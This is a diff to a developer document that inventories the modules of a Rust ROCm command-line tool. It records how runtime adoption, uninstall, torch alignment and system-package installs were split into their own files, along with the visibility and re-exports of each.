[`chat.rs`](../apps/rocm/src/chat.rs) with its two tests. `InstallTarget` and `InstallFormat` stay in [`main.rs`](../apps/rocm/src/main.rs). `install()` is `pub(crate)` and re-imported in `main.rs` for `dispatch()`; `therock_install_version_selector` is `pub(crate)` too, and `chat.rs`'s `render_install_sdk_dry_run_for_args` reaches it as `crate::therock_install_version_selector` through the same kind of re-import, which is why `sdk_install_request` lives here and not in `chat.rs`: this module does not depend on `chat.rs`. `sdk_install_request` keeps the `pub(crate)` it had, although only `install()` and the tests call it now. - [`logging.rs`](../apps/rocm/src/logging.rs) — mechanical relocation, no owned types, reached by qualified path. @@ -60,10 +62,13 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`model_fit.rs`](../apps/rocm/src/model_fit.rs) — mechanical relocation, owns a `pub(crate)` type: answering whether a host can run a model for `rocm diagnose --model` (`assess_model_on_this_host`, `assess_model_with_host_paths`, `assess_model_for_host`), the accelerator-memory fact it rests on (`host_accelerator_memory`, `classify_accelerator_memory`, `examination_reports_amd_gpu`) and the platform gate that rules an engine out (`PlatformRuleOut`, `engine_ruled_out_by_platform`, `unsupported_here_for`). It is a module of its own, rather than part of the `diagnose` handler, so [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs), which reads `PlatformRuleOut` and `engine_ruled_out_by_platform`, does not depend on a command module. It depends on [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) (`select_serve_engine`) and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs), neither of which depends on it. `assess_model_on_this_host` (called from [`diagnose_cmd.rs`](../apps/rocm/src/diagnose_cmd.rs)), `PlatformRuleOut` and `engine_ruled_out_by_platform` are `pub(crate)`, and [`main.rs`](../apps/rocm/src/main.rs) re-imports the last two so `examine_report_text.rs` reaches them as `crate::`; every other item is private. The cluster's regression tests live in this module's own `mod tests`; the one that re-runs the test binary on a helper test by its full path (`engine_ruled_out_by_platform_gates_aim_on_docker_reachability`) names the helper's new path, `model_fit::tests::docker_unreachable_subprocess_helper`. - [`provider_keys.rs`](../apps/rocm/src/provider_keys.rs) — full domain extraction. - [`providers.rs`](../apps/rocm/src/providers.rs) — full domain extraction (no dedicated command enum; invoked from the existing chat/config command flows). -- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install — torch alignment, engine-dependency checks, and device checks. `SdkInstallConsents` is `pub(crate)` and read from `install_cmd.rs`'s `install()`; `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` are also `pub(crate)` and called from both `install_cmd.rs`'s `install()` and [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs); `ensure_openmpi_for_vllm`/`settle_engine_install` are `pub(crate)` and read from `engines_cmd.rs`; `real_os_release` is `pub(crate)` and read from [`driver_install.rs`](../apps/rocm/src/driver_install.rs). -- [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. +- [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): registering a runtime that `rocm install sdk` did not install. `import_runtime_manifest` records a manifest written elsewhere, `adopt_runtime_from_python_options` (with `AdoptRuntimeOptions`, `AdoptRuntimeRequest`, `infer_adopt_runtime_request` and `adopt_runtime_from_probe`) probes an existing Python environment and registers it, and `recover_setup_runtime_registration` registers the runtime `rocm setup` created, with `newest_installed_runtime_manifest` and `setup_runtime_paths` beside it. It depends on [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) (manifest paths, activation validation, `paths_equivalent`) and `therock.rs`, not on `runtimes_cmd.rs`, which calls into it and re-exports `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths`. `import_runtime_manifest`, `AdoptRuntimeOptions`, `adopt_runtime_from_python_options` (with the fields of `AdoptRuntimeOptions` and `AdoptRuntimeRequest`) and `adopt_runtime_from_probe` are `pub(crate)` for `runtimes()` and for the `runtimes_cmd.rs` tests that adopt or import a runtime and then list or activate it; `newest_installed_runtime_manifest`, `recover_setup_runtime_registration` and `setup_runtime_paths` are `pub(crate)` too, for the modules that import them through `runtimes_cmd.rs`'s re-exports; the rest is private. Its tests cover the import and adopt rules that do not involve activation or listing. +- [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) — mechanical relocation, owns types (part of [`main.rs`](../apps/rocm/src/main.rs)'s Phase 6c split, ROCMAI-89, alongside [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) below): settling an engine onto a runtime after an SDK install: the orchestration (`finish_sdk_install`, `settle_engine_install`, `finalize_successful_sdk_install`), the engine-dependency check, the runtime device check and the post-install verdict built on it, and `SdkInstallConsents`. The torch alignment and retention it runs live in the child module [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs). `SdkInstallConsents` is `pub(crate)` and read from `install_cmd.rs`'s `install()`; `settle_engine_install` is `pub(crate)` and read from [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs). The host system-package installs live in [`system_packages.rs`](../apps/rocm/src/system_packages.rs); this module re-exports `ensure_libatomic_for_torch`/`ensure_libnuma_for_torch` (called from both `install_cmd.rs`'s `install()` and `engines_cmd.rs`) and `ensure_openmpi_for_vllm` (called from `engines_cmd.rs` and, for the engine auto-install after an SDK install, from here) so those callers keep their imports. +- [`runtime_install_finalize/torch_alignment.rs`](../apps/rocm/src/runtime_install_finalize/torch_alignment.rs) — full domain extraction, a child of `runtime_install_finalize.rs` that depends on its parent's device check (`RuntimeDeviceCheck`, `device_check_verdict`) and on `runtime_manifest_for_selector` in [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): what to do about the torch an engine install finds in a managed runtime. `plan_torch_alignment` decides whether the SDK's torch must be realigned to the engine's pin, `align_runtime_torch` runs the realignment, `classify_retained_torch` decides when a torch that already works is kept as an intended divergence instead, and the `render_*` and `report_*` functions with `TorchAlignment` and `TorchRetention` print and log the outcome. The manifest readers (`sdk_torch_build_for_key`, `sdk_torch_build_from_manifest`, `runtime_python_for_key`, `runtime_library_paths_for_key`, `runtime_index_url_for_key`) live here too. The parent stays the caller (`settle_engine_install` and `maybe_auto_install_sdk_preferred_engine`), so it could not be a crate-level sibling without a cycle with the parent's device check. The items the parent calls are `pub(super)`: `TorchAlignment`, `TorchRetention`, `report_torch_alignment`, `report_torch_retention`, `classify_retained_torch`, `retained_diverged_package`, `deliberately_diverged_package`, `sdk_torch_build_for_key`, `runtime_python_for_key` and `runtime_library_paths_for_key`; the rest is private. Its tests cover planning, rendering, the opt-out and the retention rules, and reach the parent's private engine-dependency check as a descendant of it. +- [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs) — full domain extraction, crate-level (split out of `therock.rs`): the installed-runtime manifest model (`InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `RocmSdkPackageProbe`, `RocmSdkLibraryProbe`, whose serde shape is the on-disk contract of the registry files and each install's `.rocm-cli-runtime.json`), where those files live (`runtime_registry_dir`, `runtime_manifest_path`), writing and loading them (`save_runtime_manifest`, `load_runtime_manifests`, `load_runtime_manifests_reporting_unparsed`, `sort_manifests_newest_install_first`), the composition readers (`wheel_composition_includes_devel`, `wheel_composition_device_target`), the probe validator (`validate_rocm_sdk_runtime_probe`), and registry selection and validation (`current_runtime_manifest`, `default_runtime_id_matches`, `runtime_keys_text`, `select_runtime_manifest`, `runtime_usability_status`, `validate_runtime_manifest_for_activation`, and the wheel/tarball validators behind it). Lives at the crate level and depends on neither `therock.rs` nor `runtimes_cmd.rs`, so both build on it. [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) still depends on `therock.rs` (it reaches the manifest types and loaders through `therock.rs`'s re-exports), but `therock.rs` no longer depends on `runtimes_cmd.rs` in production code (one of its tests still calls into it). It also holds `paths_equivalent` and `normalize_path_for_compare`, the path comparison that [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs), [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) and `runtimes_cmd.rs` need, and the on-disk active-runtime marker: `ActiveRuntimeMarker` (user state, so its serde shape is as fixed as the manifest's; its fields are `pub(crate)` because `runtimes_cmd.rs` builds it on activation and rollback), `active_runtime_marker_path` and `active_runtime_marker_matches`, which uninstall uses to decide whether the runtime it removes was the active one. `write_active_runtime_marker` stays in `runtimes_cmd.rs` with the activation transaction. `runtimes_cmd.rs` re-exports the selection and path-helper names that other modules import from it. Its own tests cover the manifest round-trip, the `devel`/composition readers, and runtime selector resolution. - [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) — full domain extraction; reads the live local servers at activation time, classifies each against the runtime being activated, renders the report, and moves stale ones with `--restart-services`. `fn runtimes()` lives in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) and `RuntimesCommand` in [`main.rs`](../apps/rocm/src/main.rs); this file owns `ServiceRuntimeState`/`RuntimeServiceEntry`/`FailedServiceRestart`/`UnconfirmedServiceRestart`/`ServiceRestartOutcome`/`RuntimeServiceReconciliation`/`ServiceRuntimePin`, reached from `runtimes_cmd.rs` via `crate::runtime_services`. -- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback/uninstall/import/adopt handlers, plus the runtime list rendering; registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` and `ActiveRuntimeMarker` are `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary` and from [`storage.rs`](../apps/rocm/src/storage.rs) respectively; `normalize_path_for_compare`/`recover_setup_runtime_registration` are also `pub(crate)`, read from other modules such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs) and [`comfyui.rs`](../apps/rocm/src/comfyui.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. +- [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs) — full domain extraction, crate-level (split out of [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs)): `rocm runtimes uninstall` and the storage pruning that removes a registered runtime. `plan_runtime_uninstall` builds the plan (`RuntimeUninstallPlan`, with the `InstallRootDecision` for its folder), `print_runtime_uninstall_plan` shows it, `confirm_and_revalidate_runtime_uninstall` asks and then checks that nothing changed while the prompt was open (`revalidate_runtime_uninstall_plan`), and `apply_runtime_uninstall` unregisters the runtime, clears the active and default state that named it and removes its install root when `should_remove_runtime_install_root` says ROCm CLI owns it (`local_runtime_manifest_matches`, `ensure_runtime_install_root_is_safe_to_remove`). `uninstall_runtime` is the non-interactive entry point. It reads the registry, the active-runtime marker and the path comparison from [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), and does not depend on `runtimes_cmd.rs`, which calls into it from `runtimes()` and re-exports `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision`. The planning and apply entry points, `RuntimeUninstallPlan`, `RuntimeUninstallConfirmation` and `RuntimeUninstallResult` (with its fields) are `pub(crate)` for `runtimes()`; `revalidate_runtime_uninstall_plan` and the folder-safety helpers are private. Its tests cover planning, revalidation, the folder-removal rules and uninstalling a read-only imported runtime; the uninstall tests that first activate a runtime stay with the activation tests in `runtimes_cmd.rs`. +- [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs) — mechanical relocation, owns types (Phase 6c, ROCMAI-89): `runtimes()` and its activate/rollback handlers (the activation transaction, including `write_active_runtime_marker`), plus the runtime list rendering; the import and adopt handlers it dispatches to live in [`runtime_adopt.rs`](../apps/rocm/src/runtime_adopt.rs) and the uninstall plan, confirmation and apply in [`runtime_uninstall.rs`](../apps/rocm/src/runtime_uninstall.rs); registry selection and manifest validation moved to [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs), which this module re-exports for the callers that import them from here. `RuntimesCommand` stayed in [`main.rs`](../apps/rocm/src/main.rs) (part of the `Command`/`Cli` clap definition, the same way `EnginesCommand` did in Phase 6a). `RuntimeActivationResult` is `pub(crate)`, read from [`update_cmd.rs`](../apps/rocm/src/update_cmd.rs)'s `apply_runtime_update`/`append_update_activate_summary`; `uninstall_runtime`, `should_remove_runtime_install_root` and `InstallRootDecision` (from `runtime_uninstall.rs`) and `ActiveRuntimeMarker` and `active_runtime_marker_path` (from `runtime_registry.rs`) are re-exported for [`storage.rs`](../apps/rocm/src/storage.rs) and [`config_cmd.rs`](../apps/rocm/src/config_cmd.rs); `recover_setup_runtime_registration`, `newest_installed_runtime_manifest` and `setup_runtime_paths` (from `runtime_adopt.rs`) and `normalize_path_for_compare` (from `runtime_registry.rs`) are re-exported for the modules that import them from here, such as [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs) and [`examine_report_text.rs`](../apps/rocm/src/examine_report_text.rs). The dependency on the sibling [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs) above runs the other way: that module calls into this one (`activate_runtime`, `newest_installed_runtime_manifest`, `recover_setup_runtime_registration`), while this module reaches it only from its test module. - [`serve_cmd.rs`](../apps/rocm/src/serve_cmd.rs) — mechanical relocation, owns types (Phase 6a): `serve()`, plus engine-recipe overrides and the AIM pre-flight that runs inside it: the Hugging Face token check, the GPU-family profile check and pin, the multi-GPU refusal (`aim_gpu_preflight`), and AIM-aware default engine selection (`recipe_preferred_engine`). It also holds `collect_serve_notes`, the GPU/device warnings folded into the interactive summary, which was relocated here from `main.rs` with its two tests. - [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs) — full domain extraction. - [`service_hints.rs`](../apps/rocm/src/service_hints.rs) — shared CLI-output component: the `rocm services stop|restart|remove --yes` hint text, shared by [`remote/mod.rs`](../apps/rocm/src/remote/mod.rs), [`serve_summary.rs`](../apps/rocm/src/serve_summary.rs), [`service_launch.rs`](../apps/rocm/src/service_launch.rs), [`service_records.rs`](../apps/rocm/src/service_records.rs), [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs), and [`services_text.rs`](../apps/rocm/src/services_text.rs) so they cannot go out of sync with each other, as `serve_summary.rs`'s stop row did from the day it was added — #417. It also holds the helpers that map a service tool name to the command word, verb and past tense those hints and messages use (`service_action_command`, `service_action_verb`, `service_action_past_tense`) and to its `SandboxToolArg` (`sandbox_tool_arg_from_service_tool`); [`services_text.rs`](../apps/rocm/src/services_text.rs) reads `service_action_past_tense` from here rather than through the crate root. @@ -73,11 +78,12 @@ Each per-crate module inventory lists one file per line. Flat inventories (every - [`services_text.rs`](../apps/rocm/src/services_text.rs) — mechanical relocation, owns private types (Phase 6f, ROCMAI-209): the CLI/TUI logs browser (`render_logs_text`, `render_logs_browser_text`, `render_logs_browser_page_text`, `render_logs_browser_page_text_with_options`, `logs_browser_total_pages`, the `LogBrowserEntry` type, `collect_log_browser_entries`, `filter_log_browser_entries`, `log_browser_source_label`, `write_past_attempts_hint`), the `rocm services`/`rocm services logs` status surfaces (`render_services_text`, `render_services_json`, `render_service_logs_text`, `render_service_logs_text_with_options`, `render_service_action_result`, `read_managed_service_manifest`, `load_managed_service`), the internal `rocmd`-compatible status/sandbox surface (`render_internal_status_text`, `run_internal_sandbox_tool`), and the managed-service stop/restart implementation behind both the sandbox tool and `rocm services stop|restart` (`terminate_recorded_service_pids`, the `MANAGED_STOP_GRACE` constant, `stop_internal_managed_service`, `stop_internal_managed_service_with`, `stop_internal_managed_service_confirmed_with`, `unload_lemonade_service_model`, `apply_restart_runtime_pin`, `load_service_for_restart`, `restart_child_argv`, `restart_internal_managed_service`, `restart_internal_managed_service_with`, `update_restarting_record`, `record_restarted_child`, `record_restart_readiness`), plus `validate_service_id`, `list_log_files`, `read_optional_tail_lines`, and the CLI-lifecycle-log tail formatting helpers (`format_cli_lifecycle_tail_line`, `lifecycle_event_label`, `humanize_log_label`, `lifecycle_field`, `read_tail_lines`). Two items physically interleaved in this span in `main.rs` moved with it rather than staying behind, since neither has a caller outside the cluster: the `LogBrowserEntry` struct and the `MANAGED_STOP_GRACE` constant; both stay private. `dispatch()` calls directly into this module at several points — `render_internal_status_text`, `run_internal_sandbox_tool`, `render_service_logs_text`, `render_logs_browser_text`, and `render_logs_text` — all re-imported via `use crate::services_text::{...};`; [`services_cmd.rs`](../apps/rocm/src/services_cmd.rs)'s `services()` calls `render_services_text`, `render_services_json` and `render_service_logs_text` through its own imports. `render_service_action_result`, `run_internal_sandbox_tool`, and `validate_service_id` are also `pub(crate)` and read from `services_cmd.rs`'s `run_approved_service_action`; `validate_service_id` is also read from [`service_records.rs`](../apps/rocm/src/service_records.rs)'s `remove_managed_service_record`/`service_record_artifacts`, and `load_managed_service` from its `remove_managed_service_record`/`apply_service_prune_plan`. `load_managed_service` and `restart_internal_managed_service` are `pub(crate)`, read from [`runtime_services.rs`](../apps/rocm/src/runtime_services.rs) (reconciling live servers against a runtime activation) and from [`managed_service_status.rs`](../apps/rocm/src/managed_service_status.rs)'s own test module; `read_tail_lines`, `render_logs_text`, `render_logs_browser_text`, `render_services_text`, `render_service_logs_text`, and `validate_service_id` are also `pub(crate)`, read from [`chat.rs`](../apps/rocm/src/chat.rs)'s deterministic tool-output summaries; `read_optional_tail_lines` and `render_service_action_result` are also `pub(crate)`, read from [`service_launch.rs`](../apps/rocm/src/service_launch.rs)'s managed-spawn/attach path. Every other item in this list has no caller outside this module and stays private, including `restart_internal_managed_service_with`, `restart_child_argv`, `load_service_for_restart`, `apply_restart_runtime_pin`, and `unload_lemonade_service_model` — see [`engine_runtime_select.rs`](../apps/rocm/src/engine_runtime_select.rs)'s and [`gpu_policy.rs`](../apps/rocm/src/gpu_policy.rs)'s entries above for how those two modules' own doc comments now describe this module, rather than `main.rs`, as that caller. The cluster's regression tests live in this module's own `mod tests`, reaching shared fixtures (`test_paths`, `plant_service_record_on_runtime`, `OLD_RUNTIME_KEY`, `NEW_RUNTIME_KEY`) through `crate::tests::` the same way other mechanically relocated modules do, and `runtime_services::` through its own `use crate::runtime_services;` for the handful of tests that drive this cluster's restart/stop behavior through `runtime_services`'s public entry points rather than calling it directly. Two tests that call this cluster's `load_managed_service` only incidentally — their primary subject is `runtime_services::pin_service_record_to_runtime`/`restore_service_record_pin` and `runtime_services::restart_service_onto_runtime_with`'s outcome classification respectively — stay in `main.rs`'s shared `mod tests` instead. - [`setup_cmd.rs`](../apps/rocm/src/setup_cmd.rs) — mechanical relocation, dispatch-adjacent, no owned types: `rocm setup`'s command handler (`setup()`, which runs `setup status` by default and `setup reset`), the text `rocm setup status` prints (`render_setup_status_text`) and the reset that clears the saved first-time prompt state (`reset_setup_prompt_state`). `SetupCommand` stays in [`main.rs`](../apps/rocm/src/main.rs). `setup()` and `render_setup_status_text` are `pub(crate)` and re-imported in `main.rs`: `dispatch()` calls the first, and [`chat.rs`](../apps/rocm/src/chat.rs)'s read-only handling of `rocm setup` and `rocm setup status` reaches the second as `crate::render_setup_status_text`; `reset_setup_prompt_state` is private. The three regression tests live in this module's own `mod tests`, reaching the shared `test_paths` fixture through `crate::tests::` and `write_test_pip_runtime` through `crate::test_support::`. - [`storage.rs`](../apps/rocm/src/storage.rs) — full domain extraction. +- [`system_packages.rs`](../apps/rocm/src/system_packages.rs) — full domain extraction, a leaf of the crate (split out of [`runtime_install_finalize.rs`](../apps/rocm/src/runtime_install_finalize.rs)): the host system-package installs that `rocm install sdk` and `rocm engines install vllm` run through `sudo` apt, dnf or zypper. It owns the distro-aware OpenMPI, libatomic and libnuma flows (`ensure_openmpi_for_vllm`, `ensure_libatomic_for_torch`, `ensure_libnuma_for_torch`), the choice between printing the commands and running them (`SystemPackageInstallAction`, `system_package_install_action`), the guard that refuses an `apt-get install` which would remove ROCm packages, and `real_os_release`, the real host's os-release that every one of these plans is built from. Production code uses only `std`, `anyhow` and `rocm_core`; the three `ensure_*` functions and `real_os_release` are `pub(crate)` and the rest is private. `runtime_install_finalize.rs` re-exports the three `ensure_*` names for [`install_cmd.rs`](../apps/rocm/src/install_cmd.rs) and [`engines_cmd.rs`](../apps/rocm/src/engines_cmd.rs), and [`driver_install.rs`](../apps/rocm/src/driver_install.rs) imports `real_os_release` from here directly. `SdkInstallConsents` stays in `runtime_install_finalize.rs` (it carries a `therock::SdkInstallConsent`); the functions here take its plain `system_packages` bool. `torch_runtime_dep_checks_disabled` is the E2E hook that skips the torch dependency checks; it only does anything under `e2e-test-hooks`. Its tests cover the consent decision (reaching `consents_for_install_sdk_argv` in `runtime_install_finalize.rs`'s test module) and, under `e2e-test-hooks` on Linux, that `real_os_release` ignores a simulated host root. - [`therock.rs`](../apps/rocm/src/therock.rs) — full domain extraction; owns TheRock SDK install/update. The runtime-manifest model and registry loaders it writes through live in [`runtime_registry.rs`](../apps/rocm/src/runtime_registry.rs); `therock.rs` re-exports the names other modules reach as `therock::...`: `InstalledRuntimeManifest`, `WheelRuntimeComposition`, `RocmSdkPythonProbe`, `load_runtime_manifests` and `validate_rocm_sdk_runtime_probe` from `runtime_registry.rs` (plus `RocmSdkLibraryProbe`, for tests only), and from its child modules the `pub(crate)` names each child's entry below lists. Three helpers stay in `therock.rs` for good, with the install orchestration and the other keys and roots helpers, and its children read them from there: `slugify` ([`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs)), `venv_python_path` ([`therock/python.rs`](../apps/rocm/src/therock/python.rs)) and `platform_tarball_token` ([`therock/resolve/tarball.rs`](../apps/rocm/src/therock/resolve/tarball.rs)). The `runtimes` subcommand's command enum (`RuntimesCommand`) stays in [`main.rs`](../apps/rocm/src/main.rs); its dispatch fn and most of its domain logic — rendering, activation, and manifest import — live in [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs). - [`therock/version.rs`](../apps/rocm/src/therock/version.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): the version grammar behind runtime selection and update checks. `parse_version` is the strict gate an install is routed on; `parse_version_for_ordering`, `compare_version_strings` and `version_relation` implement the PEP 440 ordering and the "is this a different version" question; `parse_host_version` reads a host-reported ROCm version through the same parser; `runtime_version_display`, `runtime_version_build_date`, `normalize_requested_build_date` and the calendar helpers behind them handle build dates; `is_stable_runtime_version` and the `ParsedVersion`/`VersionOrderKey`/`VersionStage` types back them. The items `therock.rs` and its property-test module use are `pub(super)` (including the `ParsedVersion` and `VersionOrderKey` fields they read); the parsing and calendar helpers behind them are private; and `runtime_version_display` is `pub(crate)`, re-exported by `therock.rs` for the other modules that render versions. Depends on nothing else in `therock`. `therock_version_proptests.rs` stays declared from `therock.rs` because it also reaches update, wheel and registry code. - [`therock/io.rs`](../apps/rocm/src/therock/io.rs) — full domain extraction, a leaf child of `therock.rs` (split out of it): unique scratch directories (`linux_temp_dir`, `windows_temp_dir`) and the stage-then-publish atomic file writes (`write_file_atomically`, `stage_file_for_atomic_publish`, `temp_sibling_path`, and the platform `publish_temp_file`/`replace_file_windows` pair) for the metadata cache entries and the staged metadata public key, the startup update-check record and the active-runtime marker; runtime registry manifests do not go through them. `write_file_atomically` is `pub(crate)` and re-exported by `therock.rs` for [`runtimes_cmd.rs`](../apps/rocm/src/runtimes_cmd.rs), which writes the active-runtime marker with it; the rest is `pub(super)` or private. The `cfg(windows)` publish and replace paths compile only on the Windows lane. - [`therock/process.rs`](../apps/rocm/src/therock/process.rs) — full domain extraction, a child of `therock.rs` that depends on `therock/io.rs` for scratch directories (split out of `therock.rs`): running and capturing child commands (`run_command*`, `capture_command_output*`, `capture_python_stdout*`, `run_uv_progress_command`, and the Windows temp-file variants with `windows_child_path`), the bounded wait (`wait_with_output_bounded`), the progress-line output with its `--json` suppression guard (`SuppressProgressOutput`, `progress_line`), and unpacking the SDK tarball (`extract_tarball`, `extract_tarball_and_discard_archive`, which is why it sits here and not in `io.rs`: it spawns `tar` through `run_command`). Its `archive_properties` property tests run on Unix only. The process-wide environment lock these tests take is the single `PROCESS_ENV_TEST_LOCK` in [`test_support.rs`](../apps/rocm/src/test_support.rs), shared with the tests left in `therock.rs`. -- [`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs) — full domain extraction, a child of `therock.rs` that depends on `therock/io.rs` for atomic writes and on `slugify` in the parent for cache file names (split out of `therock.rs`): HTTP fetching for installs. `download_text_cached` is the metadata GET with its on-disk etag cache (`CachedHttp*`) and detached-signature verification (`MetadataSignaturePolicy`, `PINNED_METADATA_PUBLIC_KEY_PEM`, the unset trust root that `cargo xtask verify-pinned-keys` checks against the canonical published key, so its path is pinned in `xtask`); `download_file` is the streaming artifact download; `head_content_length` and `preflight_tarball_space` size the download and check free space first; `http_get` is the shared request. `truthy_env` is `pub(crate)` and re-exported by `therock.rs` for [`driver_install.rs`](../apps/rocm/src/driver_install.rs); `download_text_cached`, `download_file`, `preflight_tarball_space` and the `CachedHttpText` struct (with its `text` field) that `download_text_cached` returns are `pub(super)` for the install and resolution code that stays in `therock.rs`; everything else is private. +- [`therock/fetch.rs`](../apps/rocm/src/therock/fetch.rs) — full domain extraction, a child of `therock.rs` that depends on `therock/io.rs` for atomic writes and on `slugify` in the parent for cache file names (split out of `therock.rs`): HTTP fetching for installs. `download_text_cached` is the metadata GET with its on-disk etag cache (`CachedHttp*`) and detached-signature verification (`MetadataSignaturePolicy`, `PINNED_METADATA_PUBLIC_KEY_PEM`, the unset trust root that `cargo xtask verify-pinned-keys` checks against the canonical published key, so its path is pinned in `xtask`); `download_file` is the streaming artifact download; `head_content_length` and `preflight_tarball_space` size the download and check free space first; `http_get` is the shared request. `truthy_env` is `pub(crate)` and re-exported by `therock.rs` for [`driver_plan/rocdxg.rs`](../apps/rocm/src/driver_plan/rocdxg.rs); `download_text_cached`, `download_file`, `preflight_tarball_space` and the `CachedHttpText` struct (with its `text` field) that `download_text_cached` returns are `pub(super)` for the install and resolution code that stays in `therock.rs`; everything else is private. - [`therock/source.rs`](../apps/rocm/src/therock/source.rs) — full domain extraction, a child of `therock.rs` that depends only on `therock/version.rs` (split out of `therock.rs`): where an install reads from. `TheRockChannel` (release or nightly) and `SourceLayout` (the canonical stream, or ROCm 10's separately hosted next layout) are the two axes; `resolve_source` maps a pair to the `ResolvedSource` wheel-index and tarball-catalog bases, honouring a `ROCM_CLI_THEROCK_*_BASE` override only behind the explicit opt-in (`therock_base_override_allowed`, `select_base_override`, `env_override_base`); `select_source_layout`, `requested_source_layout` and `next_layout_requested` decide the layout from a pin; `RuntimeVersionSelector` is the version or build date a user pins (`pub(crate)`, re-exported by `therock.rs`). `FamilyResolution` lives here rather than in `therock/family.rs` because choosing the layout reads it; that keeps the dependency one-way, with `family.rs` building on this file. `TheRockChannel`, `SourceLayout`, `ResolvedSource` and `FamilyResolution` (with their methods and fields), `RuntimeVersionSelector`'s `describe` and `matches_version`, `resolve_source`, the three layout functions, and the `THEROCK_SOURCE_LAYOUT_GENERATION` and `THEROCK_NEXT_MIN_MAJOR` constants are `pub(super)` for `therock.rs` and its siblings; the base-override helpers and the other constants (the per-channel and next-layout base URLs, and the next layout's generation tag) are private to this file. - [`therock/family.rs`](../apps/rocm/src/therock/family.rs) — full domain extraction, a child of `therock.rs` that builds on `therock/source.rs` for `TheRockChannel` and `FamilyResolution` (split out of `therock.rs`): which package family a request targets. `resolve_family` picks it from `--family`, `ROCM_CLI_THEROCK_FAMILY`, a managed runtime or the host GPU, in that order, and refuses a GPU with no ROCm build (`unsupported_host_gpu_message`, `unsupported_requested_target_message`) instead of substituting another family; `family_override_or_recovered_arch` and `raw_arch_agreeing_with_family` recover the exact arch behind a grouped family; `family_resolution_hint` is the recovery text appended when no runtime is found. `resolve_family`, `family_override_or_recovered_arch` and `family_resolution_hint` are `pub(super)`; the rest is private. - 